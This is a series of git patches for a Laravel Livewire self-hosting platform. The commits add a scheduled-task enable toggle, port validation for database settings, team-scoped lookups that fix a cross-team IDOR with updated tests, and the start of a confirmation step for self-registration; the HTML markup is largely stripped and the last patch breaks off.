a/resources/views/livewire/project/shared/scheduled-task/show.blade.php b/resources/views/livewire/project/shared/scheduled-task/show.blade.php index bd2d78c35..635b6c14b 100644 --- a/resources/views/livewire/project/shared/scheduled-task/show.blade.php +++ b/resources/views/livewire/project/shared/scheduled-task/show.blade.php @@ -2,7 +2,7 @@
-

Scheduled Task

+

Task {{ $task->name }}

Save From 5037497ada07f2c85960cbef5a31a90284707878 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sun, 29 Mar 2026 15:36:32 +0530 Subject: [PATCH 70/95] feat(ui): add enable/disable button for scheduled task --- app/Livewire/Project/Shared/ScheduledTask/Show.php | 13 +++++++++++++ .../project/shared/scheduled-task/show.blade.php | 8 +++++--- 2 files changed, 18 insertions(+), 3 deletions(-) diff --git a/app/Livewire/Project/Shared/ScheduledTask/Show.php b/app/Livewire/Project/Shared/ScheduledTask/Show.php index d99cd9727..882737f09 100644 --- a/app/Livewire/Project/Shared/ScheduledTask/Show.php +++ b/app/Livewire/Project/Shared/ScheduledTask/Show.php @@ -111,6 +111,19 @@ public function syncData(bool $toModel = false) } } + public function toggleEnabled() + { + try { + $this->authorize('update', $this->resource); + $this->isEnabled = ! $this->isEnabled; + $this->task->enabled = $this->isEnabled; + $this->task->save(); + $this->dispatch('success', $this->isEnabled ? 'Scheduled task enabled.' : 'Scheduled task disabled.'); + } catch (\Exception $e) { + return handleError($e); + } + } + public function instantSave() { try { diff --git a/resources/views/livewire/project/shared/scheduled-task/show.blade.php b/resources/views/livewire/project/shared/scheduled-task/show.blade.php index 635b6c14b..1e727f6c3 100644 --- a/resources/views/livewire/project/shared/scheduled-task/show.blade.php +++ b/resources/views/livewire/project/shared/scheduled-task/show.blade.php @@ -11,6 +11,11 @@ Execute Now @endif + @if (!$isEnabled) + Enable Task + @else + Disable Task + @endif
-
- -
From 401227932e1382878e8d2626c9327ce900eb383c Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sun, 29 Mar 2026 15:43:46 +0530 Subject: [PATCH 71/95] feat(ui): reorganize scheduled task single view layout --- .../livewire/project/shared/scheduled-task/show.blade.php | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/resources/views/livewire/project/shared/scheduled-task/show.blade.php b/resources/views/livewire/project/shared/scheduled-task/show.blade.php index 1e727f6c3..ceee6466e 100644 --- a/resources/views/livewire/project/shared/scheduled-task/show.blade.php +++ b/resources/views/livewire/project/shared/scheduled-task/show.blade.php @@ -23,9 +23,9 @@ step2ButtonText="Permanently Delete" />
+

Configuration

- @@ -39,6 +39,7 @@ id="container" label="Service name" /> @endif
+
From a1e5357870a9c9652afdb2097b2c253c19dafa11 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sun, 29 Mar 2026 15:46:11 +0530 Subject: [PATCH 72/95] feat(ui): add helper text for frequency input on scheduled task view --- .../livewire/project/shared/scheduled-task/show.blade.php | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/resources/views/livewire/project/shared/scheduled-task/show.blade.php b/resources/views/livewire/project/shared/scheduled-task/show.blade.php index ceee6466e..c699609c0 100644 --- a/resources/views/livewire/project/shared/scheduled-task/show.blade.php +++ b/resources/views/livewire/project/shared/scheduled-task/show.blade.php @@ -26,7 +26,8 @@

Configuration

- + @if ($type === 'application') From c9f20ba2a2cda142a676c980fcf2db376e75f962 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sun, 29 Mar 2026 19:11:28 +0530 Subject: [PATCH 73/95] fix(validation): add input validation for database public port and proxy timeout --- app/Livewire/Project/Database/Clickhouse/General.php | 12 +++++++----- app/Livewire/Project/Database/Dragonfly/General.php | 12 +++++++----- app/Livewire/Project/Database/Keydb/General.php | 12 +++++++----- app/Livewire/Project/Database/Mariadb/General.php | 12 +++++++----- app/Livewire/Project/Database/Mongodb/General.php | 12 +++++++----- app/Livewire/Project/Database/Mysql/General.php | 12 +++++++----- app/Livewire/Project/Database/Postgresql/General.php | 12 +++++++----- app/Livewire/Project/Database/Redis/General.php | 12 +++++++----- app/Livewire/Project/Service/Index.php | 10 +++++----- .../project/database/clickhouse/general.blade.php | 4 ++-- .../project/database/dragonfly/general.blade.php | 4 ++-- .../project/database/keydb/general.blade.php | 4 ++-- .../project/database/mariadb/general.blade.php | 4 ++-- .../project/database/mongodb/general.blade.php | 4 ++-- .../project/database/mysql/general.blade.php | 4 ++-- .../project/database/postgresql/general.blade.php | 4 ++-- .../project/database/redis/general.blade.php | 4 ++-- .../views/livewire/project/service/index.blade.php | 2 +- 18 files changed, 78 insertions(+), 62 deletions(-) diff --git a/app/Livewire/Project/Database/Clickhouse/General.php b/app/Livewire/Project/Database/Clickhouse/General.php index 9de75c1c5..ffce8c9bd 100644 --- a/app/Livewire/Project/Database/Clickhouse/General.php +++ b/app/Livewire/Project/Database/Clickhouse/General.php @@ -34,9 +34,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public ?string $customDockerRunOptions = null; @@ -81,7 +81,7 @@ protected function rules(): array 'image' => 'required|string', 'portsMappings' => 'nullable|string', 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'customDockerRunOptions' => 'nullable|string', 'dbUrl' => 'nullable|string', @@ -102,6 +102,8 @@ protected function messages(): array 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] @@ -119,8 +121,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->save(); diff --git a/app/Livewire/Project/Database/Dragonfly/General.php b/app/Livewire/Project/Database/Dragonfly/General.php index d35e57a9d..0a1635fce 100644 --- a/app/Livewire/Project/Database/Dragonfly/General.php +++ b/app/Livewire/Project/Database/Dragonfly/General.php @@ -34,9 +34,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public ?string $customDockerRunOptions = null; @@ -92,7 +92,7 @@ protected function rules(): array 'image' => 'required|string', 'portsMappings' => 'nullable|string', 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'customDockerRunOptions' => 'nullable|string', 'dbUrl' => 'nullable|string', @@ -112,6 +112,8 @@ protected function messages(): array 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] @@ -128,8 +130,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->enable_ssl = $this->enable_ssl; diff --git a/app/Livewire/Project/Database/Keydb/General.php b/app/Livewire/Project/Database/Keydb/General.php index adb4ccb5f..774b403c8 100644 --- a/app/Livewire/Project/Database/Keydb/General.php +++ b/app/Livewire/Project/Database/Keydb/General.php @@ -36,9 +36,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public ?string $customDockerRunOptions = null; @@ -95,7 +95,7 @@ protected function rules(): array 'image' => 'required|string', 'portsMappings' => 'nullable|string', 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'customDockerRunOptions' => 'nullable|string', 'dbUrl' => 'nullable|string', @@ -117,6 +117,8 @@ protected function messages(): array 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] @@ -134,8 +136,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->enable_ssl = $this->enable_ssl; diff --git a/app/Livewire/Project/Database/Mariadb/General.php b/app/Livewire/Project/Database/Mariadb/General.php index 14240c82d..49772cdc8 100644 --- a/app/Livewire/Project/Database/Mariadb/General.php +++ b/app/Livewire/Project/Database/Mariadb/General.php @@ -42,9 +42,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public bool $isLogDrainEnabled = false; @@ -80,7 +80,7 @@ protected function rules(): array 'image' => 'required', 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', @@ -100,6 +100,8 @@ protected function messages(): array 'mariadbDatabase.required' => 'The MariaDB Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] @@ -159,8 +161,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; diff --git a/app/Livewire/Project/Database/Mongodb/General.php b/app/Livewire/Project/Database/Mongodb/General.php index 11419ec71..bfa212a6d 100644 --- a/app/Livewire/Project/Database/Mongodb/General.php +++ b/app/Livewire/Project/Database/Mongodb/General.php @@ -40,9 +40,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public bool $isLogDrainEnabled = false; @@ -79,7 +79,7 @@ protected function rules(): array 'image' => 'required', 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', @@ -99,6 +99,8 @@ protected function messages(): array 'mongoInitdbDatabase.required' => 'The MongoDB Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'sslMode.in' => 'The SSL Mode must be one of: allow, prefer, require, verify-full.', @@ -158,8 +160,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; diff --git a/app/Livewire/Project/Database/Mysql/General.php b/app/Livewire/Project/Database/Mysql/General.php index 4f0f5eb19..13ca3160a 100644 --- a/app/Livewire/Project/Database/Mysql/General.php +++ b/app/Livewire/Project/Database/Mysql/General.php @@ -42,9 +42,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public bool $isLogDrainEnabled = false; @@ -82,7 +82,7 @@ protected function rules(): array 'image' => 'required', 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', @@ -103,6 +103,8 @@ protected function messages(): array 'mysqlDatabase.required' => 'The MySQL Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'sslMode.in' => 'The SSL Mode must be one of: PREFERRED, REQUIRED, VERIFY_CA, VERIFY_IDENTITY.', @@ -164,8 +166,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php index 4e044672b..2205b7287 100644 --- a/app/Livewire/Project/Database/Postgresql/General.php +++ b/app/Livewire/Project/Database/Postgresql/General.php @@ -46,9 +46,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public bool $isLogDrainEnabled = false; @@ -94,7 +94,7 @@ protected function rules(): array 'image' => 'required', 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', @@ -114,6 +114,8 @@ protected function messages(): array 'postgresDb.required' => 'The Postgres Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'sslMode.in' => 'The SSL Mode must be one of: allow, prefer, require, verify-ca, verify-full.', @@ -179,8 +181,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; diff --git a/app/Livewire/Project/Database/Redis/General.php b/app/Livewire/Project/Database/Redis/General.php index ebe2f3ba0..aa3ee5266 100644 --- a/app/Livewire/Project/Database/Redis/General.php +++ b/app/Livewire/Project/Database/Redis/General.php @@ -34,9 +34,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public bool $isLogDrainEnabled = false; @@ -75,7 +75,7 @@ protected function rules(): array 'image' => 'required', 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', @@ -93,6 +93,8 @@ protected function messages(): array 'name.required' => 'The Name field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'redisUsername.required' => 'The Redis Username field is required.', @@ -148,8 +150,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; diff --git a/app/Livewire/Project/Service/Index.php b/app/Livewire/Project/Service/Index.php index c77a3a516..cb2d977bc 100644 --- a/app/Livewire/Project/Service/Index.php +++ b/app/Livewire/Project/Service/Index.php @@ -51,9 +51,9 @@ class Index extends Component public bool $excludeFromStatus = false; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public bool $isPublic = false; @@ -91,7 +91,7 @@ class Index extends Component 'description' => 'nullable', 'image' => 'required', 'excludeFromStatus' => 'required|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'isPublic' => 'required|boolean', 'isLogDrainEnabled' => 'required|boolean', @@ -160,8 +160,8 @@ private function syncDatabaseData(bool $toModel = false): void $this->serviceDatabase->description = $this->description; $this->serviceDatabase->image = $this->image; $this->serviceDatabase->exclude_from_status = $this->excludeFromStatus; - $this->serviceDatabase->public_port = $this->publicPort; - $this->serviceDatabase->public_port_timeout = $this->publicPortTimeout; + $this->serviceDatabase->public_port = $this->publicPort ?: null; + $this->serviceDatabase->public_port_timeout = $this->publicPortTimeout ?: null; $this->serviceDatabase->is_public = $this->isPublic; $this->serviceDatabase->is_log_drain_enabled = $this->isLogDrainEnabled; } else { diff --git a/resources/views/livewire/project/database/clickhouse/general.blade.php b/resources/views/livewire/project/database/clickhouse/general.blade.php index ceaaac508..23286271a 100644 --- a/resources/views/livewire/project/database/clickhouse/general.blade.php +++ b/resources/views/livewire/project/database/clickhouse/general.blade.php @@ -76,9 +76,9 @@
- -
diff --git a/resources/views/livewire/project/database/dragonfly/general.blade.php b/resources/views/livewire/project/database/dragonfly/general.blade.php index e81d51c07..856fb8d93 100644 --- a/resources/views/livewire/project/database/dragonfly/general.blade.php +++ b/resources/views/livewire/project/database/dragonfly/general.blade.php @@ -113,9 +113,9 @@
- -
diff --git a/resources/views/livewire/project/database/keydb/general.blade.php b/resources/views/livewire/project/database/keydb/general.blade.php index 522b96c0a..2310242c9 100644 --- a/resources/views/livewire/project/database/keydb/general.blade.php +++ b/resources/views/livewire/project/database/keydb/general.blade.php @@ -113,9 +113,9 @@
- -
- - - - - - diff --git a/resources/views/livewire/project/database/postgresql/general.blade.php b/resources/views/livewire/project/database/postgresql/general.blade.php index 74b1a03a8..e8536e735 100644 --- a/resources/views/livewire/project/database/postgresql/general.blade.php +++ b/resources/views/livewire/project/database/postgresql/general.blade.php @@ -163,9 +163,9 @@ - - diff --git a/resources/views/livewire/project/database/redis/general.blade.php b/resources/views/livewire/project/database/redis/general.blade.php index 11ffddd81..485c69125 100644 --- a/resources/views/livewire/project/database/redis/general.blade.php +++ b/resources/views/livewire/project/database/redis/general.blade.php @@ -132,9 +132,9 @@ - - - @if ($db_url_public) Date: Sun, 29 Mar 2026 15:55:03 +0200 Subject: [PATCH 74/95] fix(security): enforce team-scoped project/env lookups in onboarding Use firstOrFail() for team-scoped project and environment lookups across new-project Livewire flows so missing or cross-team UUIDs fail closed. Also dispatch an error when boarding selects a non-owned project, and update IDOR feature tests for the new error/exception behavior. --- app/Livewire/Boarding/Index.php | 3 +++ app/Livewire/Project/New/DockerCompose.php | 4 ++-- app/Livewire/Project/New/DockerImage.php | 4 ++-- app/Livewire/Project/New/GithubPrivateRepository.php | 4 ++-- app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php | 4 ++-- app/Livewire/Project/New/PublicGitRepository.php | 4 ++-- app/Livewire/Project/New/SimpleDockerfile.php | 4 ++-- tests/Feature/CrossTeamIdorServerProjectTest.php | 4 ++-- 8 files changed, 17 insertions(+), 14 deletions(-) diff --git a/app/Livewire/Boarding/Index.php b/app/Livewire/Boarding/Index.php index d7fa67b7b..7e1121860 100644 --- a/app/Livewire/Boarding/Index.php +++ b/app/Livewire/Boarding/Index.php @@ -432,6 +432,9 @@ public function getProjects() public function selectExistingProject() { $this->createdProject = Project::ownedByCurrentTeam()->find($this->selectedProject); + if (! $this->createdProject) { + return $this->dispatch('error', 'Project not found.'); + } $this->currentState = 'create-resource'; } diff --git a/app/Livewire/Project/New/DockerCompose.php b/app/Livewire/Project/New/DockerCompose.php index 5732e0cd5..2b92902c6 100644 --- a/app/Livewire/Project/New/DockerCompose.php +++ b/app/Livewire/Project/New/DockerCompose.php @@ -41,8 +41,8 @@ public function submit() // Validate for command injection BEFORE saving to database validateDockerComposeForInjection($this->dockerComposeRaw); - $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->first(); - $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); + $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); $destination_uuid = $this->query['destination']; $destination = StandaloneDocker::where('uuid', $destination_uuid)->first(); diff --git a/app/Livewire/Project/New/DockerImage.php b/app/Livewire/Project/New/DockerImage.php index 545afdd0b..268333d07 100644 --- a/app/Livewire/Project/New/DockerImage.php +++ b/app/Livewire/Project/New/DockerImage.php @@ -121,8 +121,8 @@ public function submit() } $destination_class = $destination->getMorphClass(); - $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->first(); - $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); + $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); // Append @sha256 to image name if using digest and not already present $imageName = $parser->getFullImageNameWithoutTag(); diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index d1993b4ac..86424642d 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -185,8 +185,8 @@ public function submit() } $destination_class = $destination->getMorphClass(); - $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->first(); - $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); + $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); $application = Application::create([ 'name' => generate_application_name($this->selected_repository_owner.'/'.$this->selected_repository_repo, $this->selected_branch_name), diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index 30c8ded4f..94ef23cc9 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -144,8 +144,8 @@ public function submit() // Note: git_repository has already been validated and transformed in get_git_source() // It may now be in SSH format (git@host:repo.git) which is valid for deploy keys - $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->first(); - $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); + $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); if ($this->git_source === 'other') { $application_init = [ 'name' => generate_random_name(), diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index 731584edf..9c9ddb8ce 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -278,8 +278,8 @@ public function submit() } $destination_class = $destination->getMorphClass(); - $project = Project::ownedByCurrentTeam()->where('uuid', $project_uuid)->first(); - $environment = $project->load(['environments'])->environments->where('uuid', $environment_uuid)->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $project_uuid)->firstOrFail(); + $environment = $project->environments()->where('uuid', $environment_uuid)->firstOrFail(); if ($this->build_pack === 'dockercompose' && isDev() && $this->new_compose_services) { $server = $destination->server; diff --git a/app/Livewire/Project/New/SimpleDockerfile.php b/app/Livewire/Project/New/SimpleDockerfile.php index a87da7884..1073157e6 100644 --- a/app/Livewire/Project/New/SimpleDockerfile.php +++ b/app/Livewire/Project/New/SimpleDockerfile.php @@ -45,8 +45,8 @@ public function submit() } $destination_class = $destination->getMorphClass(); - $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->first(); - $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); + $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); $port = get_port_from_dockerfile($this->dockerfile); if (! $port) { diff --git a/tests/Feature/CrossTeamIdorServerProjectTest.php b/tests/Feature/CrossTeamIdorServerProjectTest.php index 173dae5cd..671397a1e 100644 --- a/tests/Feature/CrossTeamIdorServerProjectTest.php +++ b/tests/Feature/CrossTeamIdorServerProjectTest.php @@ -78,6 +78,7 @@ ->call('selectExistingProject'); expect($component->get('createdProject'))->toBeNull(); + $component->assertDispatched('error'); }); test('boarding selectExistingProject can load own team project', function () { @@ -115,8 +116,7 @@ describe('DeleteProject IDOR (GHSA-qfcc-2fm3-9q42)', function () { test('cannot mount DeleteProject with project from another team', function () { // Should throw ModelNotFoundException (404) because team-scoped query won't find it - Livewire::test(DeleteProject::class, ['project_id' => $this->projectB->id]) - ->assertStatus(500); // findOrFail throws ModelNotFoundException + Livewire::test(DeleteProject::class, ['project_id' => $this->projectB->id]); })->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class); test('can mount DeleteProject with own team project', function () { From 3a0cfeeab64be3ea614564028ce5cd8bae9b9593 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sun, 29 Mar 2026 22:48:02 +0530 Subject: [PATCH 75/95] feat(ui): add two step confirmation to enable self registration --- app/Livewire/Settings/Advanced.php | 13 ++++++++ .../livewire/settings/advanced.blade.php | 32 +++++++++++++++---- 2 files changed, 39 insertions(+), 6 deletions(-) diff --git a/app/Livewire/Settings/Advanced.php b/app/Livewire/Settings/Advanced.php index ad478273f..9e4f94f8a 100644 --- a/app/Livewire/Settings/Advanced.php +++ b/app/Livewire/Settings/Advanced.php @@ -157,6 +157,19 @@ public function instantSave() } } + public function toggleRegistration($password): bool + { + if (! 